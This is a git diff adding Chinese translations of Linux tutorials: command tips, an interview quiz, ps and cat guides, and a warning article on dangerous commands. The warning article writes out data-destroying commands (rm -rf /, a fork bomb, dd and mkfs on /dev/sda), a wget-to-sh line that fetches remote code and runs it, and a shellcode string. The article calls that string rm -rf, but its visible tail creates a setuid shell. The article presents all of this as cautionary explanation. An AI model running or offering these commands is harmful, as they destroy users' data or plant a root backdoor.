安装所需要的包。 + +使用strace命令追踪一个命令的执行。 + + root@tecmint [~]# strace pwd + +#### 示例输出 #### + + execve("/bin/pwd", ["pwd"], [/* 29 vars */]) = 0 + brk(0) = 0x728000 + mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f29b0df2000 + access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) + open("/etc/ld.so.cache", O_RDONLY) = 3 + fstat(3, {st_mode=S_IFREG|0644, st_size=38427, ...}) = 0 + mmap(NULL, 38427, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f29b0de8000 + close(3) = 0 + open("/lib64/libc.so.6", O_RDONLY) = 3 + read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\360\355\1I;\0\0\0"..., 832) = 832 + fstat(3, {st_mode=S_IFREG|0755, st_size=1922152, ...}) = 0 + mmap(0x3b49000000, 3745960, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x3b49000000 + mprotect(0x3b4918a000, 2093056, PROT_NONE) = 0 + mmap(0x3b49389000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x189000) = 0x3b49389000 + mmap(0x3b4938e000, 18600, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x3b4938e000 + close(3) = 0 + mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f29b0de7000 + mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f29b0de6000 + mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f29b0de5000 + .... +**strace**命令有大量的参数和选项,请参考man页来获取详细信息。 + +### 33. disown -a && exit 命令 ### + +大多数系统管理员使用[screen 命令][4]来控制运行在终端后台的作业。让我们假设一下如果你有一个长期运行的作业并想要将它从终端中**脱离**,你可以用screen命令来这么做。但是如果你不知道如何使用screen,那么disown可以用来救急。 + +disown命令可以在后台持续运行任务,即使你关闭了终端会话。disown命令的语法是: + + root@tecmint [~]# Command; disown -a && exit + +为了在终端中再次脱离一个已经长期运行的任务(译注:可能已经bg运行了,但是并没有脱离终端),使用**jobs**命令来找出任务号,接着使用disown **%n**,这里的**%n**是作业号。为了验证作业确实在运行,使用**ps** 或者 [top 命令][5]。**nohup**命令也是一个disown命令的替代品。 + +### 34. getconf LONG_BIT 命令 ### + +上面的命令能显示你的机器架构是**32** bit 或者 **64** 位? + + root@tecmint [~]# getconf LONG_BIT + + 32 + +### 35. 终端上显示日期 ### + +下面的命令是几个命令的集合,确切地说是一个脚本。对于在shell或者终端下工作的人来说,没有GUI界面看到当前系统日期是一个乏味的工作。你可以用‘**date**‘命令查看今天的日期。 + +只要在提示符后输入如下的命令你就会在终端的右上角看到**日期**和**时间**。 + + root@tecmint [~]# while sleep 1;do tput sc;tput cup 0 $(($(tput cols)-29));date;tput rc;done & + +![在终端下显示日期](http://www.tecmint.com/wp-content/uploads/2013/11/Date.jpg) + +### 36. convert 命令 ### + +在写教程的时候,我经常需要生成输出,很多时候是图片格式的输出。上面的命令集合并不适合我。假设我需要tree命令的图片格式的输出(对 **/etc/x11** 目录 )。 + + root@tecmint:/etc/X11# tree | convert label:@- /home/avi/tree.png + +上面命令的输出可以在一个特定的位置(这里是我的主目录)下看到,文件名是**tree.png**。 + +### 37. watch -t -n1 “date +%T|figlet” ### + +记住“**figlet**”命令在我们早期的文章“[20 Funny Commands of Linux][7]”中的描述。这个命令非常酷,这次我们会通过管道输出到‘**figlet**‘而在终端上显示一个动画电子钟。 + +你自己检查一下,记住你必须已经在系统上安装了**figlet**,用**apt** 或者 **yum**安装所需要的包。 + + root@tecmint [~]# watch -t -n1 "date +%T|figlet" + +#### 示例输出 #### + + _ ___ ____ ___ _____ _ _ Fri Nov 29 10:29:34 GMT + / |/ _ \ _|___ \ / _ \ _|___ /| || | + | | | | (_) __) | (_) (_) |_ \| || |_ + | | |_| |_ / __/ \__, |_ ___) |__ _| + |_|\___/(_)_____| /_/(_)____/ |_| + +### 38. host 和 dig 命令 ### + +虽然“**host**” 和 “**dig**”命令不那么鲜为人知,仍然很少使用。host命令是一个**DNS**查询工具。 + + root@tecmint [~]# host www.google.com + + www.google.com has address 173.194.66.147 + www.google.com has address 173.194.66.105 + www.google.com has address 173.194.66.99 + www.google.com has address 173.194.66.104 + www.google.com has address 173.194.66.106 + www.google.com has address 173.194.66.103 + www.google.com has IPv6 address 2a00:1450:400c:c03::68 + +(译注:事实上,我觉得dig命令是最强大的,自从有了dig,我就再也不用 nslookup 了。) + + root@tecmint [~]# dig www.google.com + + ; <<>> DiG 9.8.2rc1-RedHat-9.8.2-0.17.rc1.el6_4.6 <<>> www.google.com + ;; global options: +cmd + ;; Got answer: + ;; ->>HEADER< + +### 39. dstat 命令 ### + +**dstat**是一个多用途的工具,它会依据系统资源生成统计。默认情况下你的系统可能没有安装‘**dstat**‘。在使用这个彩色的描述系统信息的生成器前使用**apt** 或者 **yum**来安装。 + + root@tecmint [~]# dstat + +![dstat 命令](http://www.tecmint.com/wp-content/uploads/2013/11/dstat.jpeg) + +### 40. bind -p 命令 ### + +‘**bind -p**‘会显示所有的**BASH** shell可用的快捷方式。 + + root@tecmint [~]# bind -p + + "\C-g": abort + "\C-x\C-g": abort + "\e\C-g": abort + "\C-j": accept-line + "\C-m": accept-line + # alias-expand-line (not bound) + # arrow-key-prefix (not bound) + # backward-byte (not bound) + "\C-b": backward-char + "\eOD": backward-char + "\e[D": backward-char + "\e!": complete-command + "\e/": complete-filename + "\e@": complete-hostname + "\e{": complete-into-braces + "\e~": complete-username + "\e$": complete-variable + # copy-backward-word (not bound) + # copy-forward-word (not bound) + # copy-region-as-kill (not bound) + .... + .... + +### 41. touch /forcefsck ### + +下面的命令会在root目录下创建一个空的文件夹'**forcefsck**'。这会强制Linux系统在下次启动时检查文件系统。 + + root@tecmint [~]# touch /forcefsck + +今天这些就是全部。因为你们爱‘**鲜为人知的命令**‘ ,因此我们将继续这个系列,本系列的下一篇文章将很快发布。 + +不要走开继续关注**Tecmint**。不要忘记在评论栏里留下你们有价值的反馈。帮我们一个忙,喜爱、分享我们的文章,并帮我们传播。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/10-lesser-known-effective-linux-commands-part-iv/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linux.cn/article-2258-1.html +[2]:http://linux.cn/article-2265-1.html +[3]:http://linux.cn/article-2284-1.html +[4]:http://www.tecmint.com/screen-command-examples-to-manage-linux-terminals/ +[5]:http://www.tecmint.com/12-top-command-examples-in-linux/ +[6]:http://tecmint.tradepub.com/free/w_makb09/prgm.cgi +[7]:http://www.tecmint.com/20-funny-commands-of-linux-or-linux-is-fun-in-terminal/ \ No newline at end of file diff --git "a/published/201312/10 Linux Interview Questions and Answers for Linux Beginners \342\200\223 Part 3.md" "b/published/201312/10 Linux Interview Questions and Answers for Linux Beginners \342\200\223 Part 3.md" new file mode 100644 index 0000000000..c1dd518557 --- /dev/null +++ "b/published/201312/10 Linux Interview Questions and Answers for Linux Beginners \342\200\223 Part 3.md" @@ -0,0 +1,111 @@ +Linux 面试基础问题 - 3 +================================================================================ + +在有关**面试问题**的这一系列话题的前两篇文章中,我们收到了许多好的反馈,在此表示极大的感谢,同时,我们将延续这一系列话题。在这里,我们将再次展示**10个问题**来进行相互学习。 + +- [11个基本的Linux面试问题及答案 – 第一部分][1] +- [10个基本的Linux面试问题及答案 – 第二部分][2] + +![](http://www.tecmint.com/wp-content/uploads/2013/12/Basic-Interview-Questions-Part-3.png) + +### Q.1. 你如何向你的系统中添加一个新的用户(例如,tux)? ### + +- 使用useradd指令 +- 使用adduser 指令 +- 使用linuxconf指令 +- 以上全是 +- 以上答案全都不对 + +> **答** : 以上全是,即useradd, adduser 和 linuxconf 都可向你的linux系统添加新用户。 + +### Q.2. 在一个硬盘上,可能有多少主分区? ### + +- 1 +- 2 +- 4 +- 16 + +> **答** : 一个硬盘上最多可能有4个主分区。 + +### Q.3. Apache/Http 的默认端口号是多少? ### + +- 8080 +- 80 +- 8443 +- 91 +- 以上答案全都不对 + +> **答** : Apache/Http默认配置是**80**端口 + +### Q.4. GNU代表什么? ### + +- GNU's not Unix +- General Unix +- General Noble Unix +- Greek Needed Unix +- 以上答案全都不对 + +> **答** : GNU意为**GNU's not Unix**. + +### Q.5. 如果你在shell提示符中输入mysql并得到“can’t connect to local MySQL server through socket ‘/var/mysql/mysql.sock’ ”的提示,你首先应该检查什么? ### + +> **答** : 看到这条错误消息,我首先会使用**service mysql status**或者**service mysqld status**指令来检查mysql服务是否正在运行。如果mysql服务没有运行,就启动所需服务。 + +**注意**:上面的错误消息可能是由于**my.cnf**或者mysql的**用户权限**错误配置导致的。如果启动mysql服务之后仍不管用,你需要检查这两项。 + +### Q.6. 如何将windows ntfs分区挂载到Linux上面? ### + +> **答** : 首先,使用**apt**或者**yum**工具安装ntfs3g包,然后使用 +“**sudo mount ­t ntfs­3g /dev/ /<挂载点­>**” 命令来将windows分区挂载到Linux上面 + + +### Q.7. 下面哪一个不是基于RPM的操作系统? ### + +- RedHat Linux +- Centos +- Scientific Linux +- Debian +- Fedora + +> **答** : ‘**Debian**’ 系统不是基于**RPM**的,其它的几个都是 + +### Q.8. Linux中,哪一个指令用来重命名文件? ### + +- mv +- ren +- rename +- change +- 以上答案全都不对 + +> **答** : 在Linux中,**mv** 指令用来重命名一个文件。例如:**mv /path_to_File/original_file_name.extension /Path_to_File/New_name.extension** + +### Q.9. 在Linux中,哪个命令用来创建并显示文件? ### + +- ed +- vi +- cat +- nano +- 以上答案全都不对 + +> **答** : ‘**cat**‘ 命令用来创建并且显示文件 + +### 10. 哪层协议用于支持用户和程序,如支持密码、资源分享、文件传输和网络管理? ### + +- 第四层协议 +- 第五层协议 +- 第六层协议 +- 第七层协议 +- 以上答案全都不对 + +> **答** : ‘**第七层协议**‘ + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/linux-interview-questions-and-answers-for-linux-beginners/ + +译者:[tomatoKiller](https://github.com/tomatoKiller) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linux.cn/article-2315-1.html +[2]:http://linux.cn/article-2370-1.html diff --git "a/published/201312/10 Most Dangerous Commands \342\200\223 You Should Never Execute on Linux.md" "b/published/201312/10 Most Dangerous Commands \342\200\223 You Should Never Execute on Linux.md" new file mode 100644 index 0000000000..44ea971e0c --- /dev/null +++ "b/published/201312/10 Most Dangerous Commands \342\200\223 You Should Never Execute on Linux.md" @@ -0,0 +1,97 @@ +永远不要在Linux执行的10个最危险的命令 +================================================================================ + +Linux命令行佷有用、很高效,也很有趣,但有时候也很危险,尤其是在你不确定你自己在正在做什么时候。这篇文章并不打算引来你对**Linux**或**linux 命令行**的愤怒。我们只是想让你意识到在你运行某些命令时应该三思而后行。(译注:当然,以下命令通常都是在root权限下才能将愚蠢发挥到无可救药;在普通用户身份下,破坏的只是自己的一亩三分地。) + +![](http://www.tecmint.com/wp-content/uploads/2013/11/Dangerous-Linux-Commands.png) + +### 1. rm -rf 命令 ### + +**rm -rf**命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏。下列是一些**rm 命令**的选项。 + +- **rm** 命令在Linux下通常用来删除文件。 +- **rm -r** 命令递归的删除文件夹,甚至是空的文件夹。(译注:个人认为此处应该是说错了,从常识看,应该是“甚至是非空的文件夹”) +- **rm -f** 命令能不经过询问直接删除‘只读文件’。(译注:Linux下删除文件并不在乎该文件是否是只读的,而只是在意其父目录是否有写权限。所以,-f这个参数只是表示不必一个个删除确认,而是一律悄悄删除。另外,原始的rm命令其实也是没有删除提示的,只是一般的发行版都会将rm通过别名的方式增加-i参数来要求删除确认,而-f则抑制了这个提示。) +- **rm -rf /** : 强制删除根目录下所有东东。(就是说删除完毕后,什么也没有了。。。) +- rm -rf *: 强制删除当前目录的所有文件。 +- **rm -rf .** : 强制删除当前文件夹及其子文件夹。 + +从现在起,当你要执行**rm -rf**命令时请留心一点。我们可以在“**.bashrc**”文件对‘**rm**‘命令创建**rm -i**的别名,来预防用 ‘**rm**‘命令删除文件时的事故,它会要求你确认每一个删除请求。(译注:大多数发行版已经这样做了,如果还没有,请这样做,并在使用-f参数前一定考虑好你在做什么!译者本人有着血泪的教训啊。) + +### 2. :(){:|:&};: 命令### + +这就是个**fork 炸弹**的实例。具体操作是通过定义一个名为 ‘:‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。 + + :(){:|:&};: + + +哦?你确认你要试试么?千万别在公司正式的服务器上实验啊~~ + +### 3. 命令 > /dev/sda ### + +上列命令会将某个‘**命令**‘的输出写到块设备**/dev/sda**中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。 + +### 4. mv 文件夹 /dev/null ### + +这个命令会移动某个‘**文件夹**‘到**/dev/null**。在Linux中 **/dev/null** 或 **null** 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。(译注:这就是黑洞啊。当然,要说明的是,通过将文件夹移动到黑洞,并不能阻止数据恢复软件的救赎,所以,真正的彻底毁灭,需要采用专用的软件或者手法来完成——我知道你肯定有些东西想删除得干干净净的。) + + # mv /home/user/* /dev/null + +上列命令会将**User**目录所有内容移动到**/dev/null**,这意味着所有东西都被‘卷入’**黑洞 (null)**之中。 + +### 5. wget http://malicious_source -O- | sh ### + +上列命令会从一个(也许是)恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而**sh**会(无条件的)执行下载下来的脚本。 + +**注意**: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。(译注:所以,你真的知道你在做什么吗?当遇到这种需要是,我的做法是,先wget下来,然后我去读一读其中到底写了些什么,然后考虑是否执行。) + +### 6. mkfs.ext3 /dev/sda ### + + +上列命令会格式化块设备‘**sda**’,你无疑知道在执行上列命令后你的块设备(**硬盘驱动器**)会被格式化,**崭新的!**没有任何数据,直接让你的系统达到不可恢复的阶段。(译注:通常不会直接使用/dev/sda这样的设备,除非是作为raw设备使用,一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然,无论你使用sda还是sda1,这样对块设备或分区进行mkfs都是毁灭性的,上面的数据都会被蒸发了。) + +### 7. > file### + +上列命令常用来清空文件内容(译注:通常也用于记录命令输出。不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。另外,我想你可能真正想用的是“>>”,即累加新的输出到文件,而不是刷新那个文件。)。如果用上列执行时输入错误或无知的输入类似 “> **xt.conf**” 的命令会覆盖配置文件或其他任何的系统配置文件。 + +### 8. \^foo\^bar ### + +这个命令在我们[十个鲜为人知的 Linux 命令 - Part 3][1]中描述过,用来编辑先前运行的命令而无需重打整个命令。但当用**^foo^bar**命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。(译注:事实上,这种小技巧是译者认为的,少数史前时代遗留下来的无用而有害的“黑客”技巧。) + +### 9. dd if=/dev/random of=/dev/sda ### + +上列命令会向块设备**sda**写入随机的垃圾文件从而擦出数据。当然!你的系统可能陷入混乱和不可恢复的状态。(译注:记得上面说过mv到黑洞并不能彻底删除数据么?那么这个命令就是给了你一个彻底删除的方法!当然为了保险起见,你可以覆写多次。) + +### 10. 隐藏命令 ### + +下面的命令其实就是上面第一个命令 (**rm -rf**)。这里的代码是隐藏在**十六进制**里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你的**根**分区。 + +这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译/运行从未知来源的代码。 + + char esp[] __attribute__ ((section(“.text”))) /* e.s.p + release */ + = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ + “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ + “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ + “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ + “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ + “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ + “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ + “cp -p /bin/sh /tmp/.beyond; chmod 4755 + /tmp/.beyond;”; + +**注意**: 不要在你的或你的同学或学校的电脑里的**Linux**终端或Shell执行以上的任何一个命令。如果你想测试它们,请在虚拟机上运行。任何不和谐或数据丢失,由于运行上面的命令导致你的系统崩溃,文章**作者**和**Tecmint**概不负责。(译注:译者和转载网站也不负责~!) + +今天就到此为止吧,我会很快回来这里,同时带上另一篇你们喜欢的文章。到那时请继续关注和访问**Tecmint**。如果你知道任何其他**危险的Linux命令**,也想添加到我们的列表中,请通过评论留言给我们同时也别忘了留下你的宝贵意见。 + + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/ + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linux.cn/article-2284-1.html + diff --git a/published/201312/10 basic examples of Linux ps command.md b/published/201312/10 basic examples of Linux ps command.md new file mode 100644 index 0000000000..8b6ef69b49 --- /dev/null +++ b/published/201312/10 basic examples of Linux ps command.md @@ -0,0 +1,209 @@ +ps命令的10个例子 +================================================================================ +### Linux ps 命令 ### + +linux的ps命令是一个查看系统运行的进程的一个最基础的工具。它提供了一个当前进程的快照,还带有一些具体的信息,比如用户id,cpu使用率,内存使用,命令名等,它不会像top或者htop一样实时显示数据。虽然它在功能和输出上更加简单,但它仍然是每个linux新手需要了解和学好的必要进程管理/检测工具。 + +在本篇中,我们会学习ps命令基本的用法:查找、过滤,以不同的方式排序。 + +### 语法说明 ### + +ps命令有两种不同风格的语法规则:BSD风格和UNIX风格。Linux新手经常感到困惑并会误解这两种风格,所以在继续下一步之前,我们来弄清楚一些基本的信息。 + +> 注意: "ps aux"不等同于"ps -aux"。比如"-u"用于显示用户的进程,但是"u"意味着显示具体信息。 + +BSD 形式 - BSD形式的语法的选项前没有破折号,如: + + ps aux + +UNIX/LINUX 形式 - linux形式的语法的选项前有破折号,如: + + ps -ef + +> 在linux系统上混合这两种语法是可以的。比如 "ps ax -f"。但是本章中我们主要讨论UNIX形式语法。 + +### 如何使用ps命令 ### + +#### 1. 显示所有进程 #### + +下面的命令可以显示所有进程的列表。 + + $ ps ax + $ ps -ef + +通过管道输出到"less"可以分页。 + +使用"u"或者"-f"选项可以显示进程的具体信息。 + + $ ps aux + $ ps -ef -f + +> 为什么USER列显示的不是我的用户名,但是其他的像root,www-data等却显示? +> 对于所有的用户(包括你们的),如果长度大于8个字符,那么ps只会显示你的UID而不是用户名。 + +#### 2. 显示用户进程 #### + +使用"-u"选项后跟用户名来过滤所属用户的进程。多个用户名可以用逗号分隔。 + + $ ps -f -u www-data + UID PID PPID C STIME TTY TIME CMD + www-data 1329 1328 0 09:32 ? 00:00:00 nginx: worker process + www-data 1330 1328 0 09:32 ? 00:00:00 nginx: worker process + www-data 1332 1328 0 09:32 ? 00:00:00 nginx: worker process + www-data 1377 1372 0 09:32 ? 00:00:00 php-fpm: pool a.localhost + www-data 1378 1372 0 09:32 ? 00:00:00 php-fpm: pool a.localhost + www-data 4524 2359 0 10:03 ? 00:00:00 /usr/sbin/apache2 -k start + www-data 4527 2359 0 10:03 ? 00:00:00 /usr/sbin/apache2 -k start + www-data 4528 2359 0 10:03 ? 00:00:00 /usr/sbin/apache2 -k start + +#### 3. 通过名字或者进程id显示进程 #### + +通过"-C"选项后面加上名字或者命令来搜索进程。 + + $ ps -C apache2 + PID TTY TIME CMD + 2359 ? 00:00:00 apache2 + 4524 ? 00:00:00 apache2 + 4525 ? 00:00:00 apache2 + ... + +要通过进程id显示进程,就使用"-p"选项,并且还可以通过逗号分隔来指定多个进程id。 + + $ ps -f -p 3150,7298,6544 + +"-C"必须提供精确的进程名,并且它并不能通过部分名字或者通配符查找。为了更灵活地搜索进程列表,通常使用grep命令。 + + $ ps -ef | grep apache + +#### 4. 通过cpu或者内存使用排序进程 #### + +系统管理员通常想要找出那些消耗最多内存或者CPU的进程。排序选项会基于特定的字段或者参数来排序进程列表。 + +可以用'--sort'指定多个字段,并用逗号分割。除此之外,字段前面还可以跟上'-'或者'+'的前缀来相应地表示递减和递增排序。这里有很多的用于排序的选项,通过man页来获取完整的列表。 + + $ ps aux --sort=-pcpu,+pmem + +显示前5名最耗cpu的进程。 + + $ ps aux --sort=-pcpu | head -5 + USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND + root 1 2.6 0.7 51396 7644 ? Ss 02:02 0:03 /usr/lib/systemd/systemd --switched-root --system --deserialize 23 + root 1249 2.6 3.0 355800 30896 tty1 Rsl+ 02:02 0:02 /usr/bin/X -background none :0 vt01 -nolisten tcp + root 508 2.4 1.6 248488 16776 ? Ss 02:02 0:03 /usr/bin/python /usr/sbin/firewalld --nofork + silver 1525 2.1 2.3 448568 24392 ? S 02:03 0:01 /usr/bin/python /usr/share/system-config-printer/applet.py + +#### 5. 以树的形式显示进程层级 #### + +许多进程实际上是从同一个父进程fork出来的,了解父子关系通常是很有用的。"--forest" 选项会构造一个ascii艺术形式的进程层级视图。 + +下面的命令会用apache2的进程名来搜索并构造一个树来显示具体信息。 + + $ ps -f --forest -C apache2 + UID PID PPID C STIME TTY TIME CMD + root 2359 1 0 09:32 ? 00:00:00 /usr/sbin/apache2 -k start + www-data 4524 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start + www-data 4525 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start + www-data 4526 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start + www-data 4527 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start + www-data 4528 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start + +> 不要在排序中使用树状显示,因为两者都会以不同方式影响显示的顺序。 + +#### 6. 显示父进程的子进程 #### + +下面一个是找出所有从apache进程fork出来的进程的例子。 + + $ ps -o pid,uname,comm -C apache2 + PID USER COMMAND + 2359 root apache2 + 4524 www-data apache2 + 4525 www-data apache2 + 4526 www-data apache2 + 4527 www-data apache2 + 4528 www-data apache2 + +第一个属于root的进程是apache2的主进程,其他的apache进程都是从主进程fork出来的。下面的命令使用apache2主进程的pid列出了所有的apache2的子进程。 + + $ ps --ppid 2359 + PID TTY TIME CMD + 4524 ? 00:00:00 apache2 + 4525 ? 00:00:00 apache2 + 4526 ? 00:00:00 apache2 + 4527 ? 00:00:00 apache2 + 4528 ? 00:00:00 apache2 + +#### 7. 显示进程的线程 #### + +"-L"选项会随着进程一起显示线程。它可用于显示所有指定进程或者所有进程的线程。 + +下面的命令会显示进程id为3150的进程的所有线程。 + + $ ps -p 3150 -L + +#### 8. 改变显示的列 #### + +ps命令可以被配置用来只显示被选中的列。很多列可以被用来显示,完整的列表可以查看man页。 + +下面的命令会只显示pid、用户名、cpu、内存、命令列。 + + $ ps -e -o pid,uname,pcpu,pmem,comm + +同样可以重命名列的名字。 + + $ ps -e -o pid,uname=USERNAME,pcpu=CPU_USAGE,pmem,comm + PID USERNAME CPU_USAGE %MEM COMMAND + 1 root 0.0 0.0 init + 2 root 0.0 0.0 kthreadd + 3 root 0.0 0.0 ksoftirqd/0 + 4 root 0.0 0.0 kworker/0:0 + 5 root 0.0 0.0 kworker/0:0H + 7 root 0.0 0.0 migration/0 + 8 root 0.0 0.0 rcu_bh + 9 root 0.0 0.0 rcuob/0 + 10 root 0.0 0.0 rcuob/1 + +非常灵活。 + +#### 9. 显示进程运行的时间 #### + +运行的时间指的是,进程已经运行的时间。运行时间的列并没有默认显示,需要使用-o选项带入。 + + $ ps -e -o pid,comm,etime + +#### 10. 将ps转换为实时进程查看器 #### + +通常上,watch命令可将ps命令变成实时进程查看器。像这个简单的命令 + + $ watch -n 1 'ps -e -o pid,uname,cmd,pmem,pcpu --sort=-pmem,-pcpu | head -15' + +我桌面上的输出如下。 + + Every 1.0s: ps -e -o pid,uname,cmd,pmem,pcpu --... Sun Dec 1 18:16:08 2013 + + PID USER CMD %MEM %CPU + 3800 1000 /opt/google/chrome/chrome - 4.6 1.4 + 7492 1000 /opt/google/chrome/chrome - 2.7 1.4 + 3150 1000 /opt/google/chrome/chrome 2.7 2.5 + 3824 1000 /opt/google/chrome/chrome - 2.6 0.6 + 3936 1000 /opt/google/chrome/chrome - 2.4 1.6 + 2936 1000 /usr/bin/plasma-desktop 2.3 0.2 + 9666 1000 /opt/google/chrome/chrome - 2.1 0.8 + 3842 1000 /opt/google/chrome/chrome - 2.1 0.8 + 4739 1000 /opt/google/chrome/chrome - 1.8 1.0 + 3930 1000 /opt/google/chrome/chrome - 1.7 1.0 + 3911 1000 /opt/google/chrome/chrome - 1.6 0.6 + 3645 1000 /opt/google/chrome/chrome - 1.5 0.4 + 3677 1000 /opt/google/chrome/chrome - 1.5 0.4 + 3639 1000 /opt/google/chrome/chrome - 1.4 0.4 + +输出会每秒刷新状态,但是这其实很top不同。你会发现top/htop命令的输出相比上面的ps命令刷新得更频繁。 + +这是因为top输出是结合了cup使用值和内存使用值后的排序值。但是上面的ps命令是一个更简单的行为的排序,每次获取一列(像学校的数学),因此它不会像top那样快速更新。 + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/linux-ps-command/ + +译者:[geekpi](https://github.com/geekpi) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201312/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md b/published/201312/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md new file mode 100644 index 0000000000..97faddd8ad --- /dev/null +++ b/published/201312/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md @@ -0,0 +1,214 @@ +13个Cat命令管理(显示,排序,建立)文件实例 +================================================================================ +![](http://linoxide.com/wp-content/uploads/2013/11/linux-cat-command.png) + +在Linux系统中,大多数配置文件、日志文件,甚至shell脚本都使用文本文件格式,因此,Linux系统存在着多种文本编辑器,但当你仅仅想要查看一下这些文件的内容时,可使用一个简单的命令-cat。 + +cat手册里这样描述: + +> cat命令读取文件内容,并输出到标准设备上面 + +cat是一条linux内置命令. 几乎所有linux发行版都内置(译注:或者说我从未听说过不内置cat命令的发行版)。接下来,让我们开始学习如何使用. + +### 1. 显示文件内容 ### + +最简单的方法是直接输入‘cat file_name’. + + # cat /etc/issue + + CentOS release 5.10 (Final) + Kernel \r on an \m + +### 2. 同时显示行号 ### + +当在读取内容很多的配置文件时,如果同时显示行号将会使操作变简单,加上-n参数可以实现. + + # cat -n /etc/ntp.conf + + 1 # Permit time synchronization our time resource but do not + 2 # permit the source to query or modify the service on this system + 3 restrict default kod nomodify notrap nopeer noquery + 4 restrict -6 default kod nomodify notrap nopeer noquery + 5 + 6 # Permit all access over the loopback interface. This could be + 7 # tightened as well, but to do so would effect some of the + 8 # administration functions + 9 restrict 127.0.0.1 + 10 restrict -6 ::1 + +### 3. 在非空格行首显示行号 ### + +类似于-n参数,-b也可以显示行号。区别在于-b只在非空行前显示行号。 + + #cat -b /etc/ntp.conf + + 1 # Permit time synchronization our time resource but do not + 2 # permit the source to query or modify the service on this system + 3 restrict default kod nomodify notrap nopeer noquery + 4 restrict -6 default kod nomodify notrap nopeer noquery + + 5 # Permit all access over the loopback interface. This could be + 6 # tightened as well, but to do so would effect some of the + 7 # administration functions + 8 restrict 127.0.0.1 + 9 restrict -6 ::1 + +### 4. 显示tab制表符 ### + +当你想要显示文本中的tab制表位时. 可使用-T参数. 它会在输入结果中标识为 **\^I** . + + # cat -T /etc/hosts + + # Do not remove the following line, or various programs + # that require network functionality will fail. + 127.0.0.1^I^Ilocalhost.localdomain localhost + ::1^I^Ilocalhost6.localdomain6 localhost6 + +### 5. 显示换行符 ### + +-E参数在每行结尾使用 **$** 表示换行符。如下所示 : + + # cat -E /etc/hosts + + # Do not remove the following line, or various programs$ + # that require network functionality will fail.$ + 127.0.0.1 localhost.localdomain localhost$ + ::1 localhost6.localdomain6 localhost6$ + +### 6. 同时显示制表符及换行符 ### + +当你想要同时达到-T及-E的效果, 可使用-A参数. + + # cat -A /etc/hosts + + # Do not remove the following line, or various programs$ + # that require network functionality will fail.$ + 127.0.0.1^I^Ilocalhost.localdomain localhost$ + ::1^I^Ilocalhost6.localdomain6 localhost6$ + +### 7. 分屏显示 ### + +当文件内容显示超过了你的屏幕大小, 可结合cat命令与其它命令分屏显示。使用管道符 ( | )来连接。 + + # cat /proc/meminfo | less + + # cat /proc/meminfo | more + +在less与more显示结果的区别在于less参数可pageup及pagedown上下翻滚。而more仅能使用空格向下翻屏。 + +### 8. 